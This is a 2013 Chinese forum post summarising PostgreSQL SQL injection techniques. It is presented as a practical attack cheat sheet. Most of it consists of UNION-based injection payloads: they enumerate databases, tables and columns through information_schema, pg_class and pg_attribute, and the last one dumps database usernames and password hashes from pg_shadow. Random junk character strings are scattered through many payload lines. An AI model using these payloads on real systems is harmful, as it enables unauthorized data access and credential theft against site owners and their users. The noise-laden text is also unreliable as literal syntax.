找回密码
 立即注册
查看: 2367|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点
$ U- g( R" ]; d1 ]

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/' w* W$ t+ l2 @3 ]/ o. r4 C
连接符: %20 , + , /**/

内置函数:
) c. ^- D- t0 M& I; O9 mcurrent_database() //当前数据库名
( @- c8 q- v7 |  d7 V5 K" ^( H* E# ]6 Usession_user //会话用户$ `% k, J8 }4 l& `
current_user //当前数据库用户
# g5 e0 s2 a1 |1 duser //当前用户" X" Y: }$ f3 u
version() //数据库版本

Union注射:
* x3 P( F8 O' _( h6 qorder by n–  h1 o( \9 G7 \0 U/ Q% S5 x0 g
and 1=2 union select null,null,null–
; I! L: g  W4 g" {, C! t+ aand 1=2 union select ‘beach’,null,null–
" X9 J  Y! F6 A7 {2 h6 [and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):& J  P1 i8 C! o% c
group_concat(table_name)- z6 K# ?4 `& A
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
' n# G' `% E; C* Q8 a( q( l5 Wand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–. F+ ]5 ?  g; ~4 S# {9 G9 Q
(老版本)
- J+ a! b" V; T7 K+ wpg_class.oid对应pg_attribute.attrelid8 X7 x: M$ o9 x( u5 s- }# a1 }
pg_class.relname表名) V8 O+ U& J1 Z2 |: F" n
pg_attribute.attname字段名

select relname from pg_class获取表名; N! I- o+ h1 U( `! L- K
select oid from pg_class where 条件 获取参数9 o& l; `% ?# h+ [
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:- S9 @, @: J0 o+ X9 r8 V
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表+ a9 E$ X4 w$ _9 ~; C6 u
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
0 i: a7 k' y. }2 l7 K5 u6 F由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名7 }" L' I! _0 J1 ]3 T' l  j2 L
======================================================================; O, s" }  N& K1 p( O0 @" I3 \% S
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
: G2 G: j, T. |' _- X7 Nand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表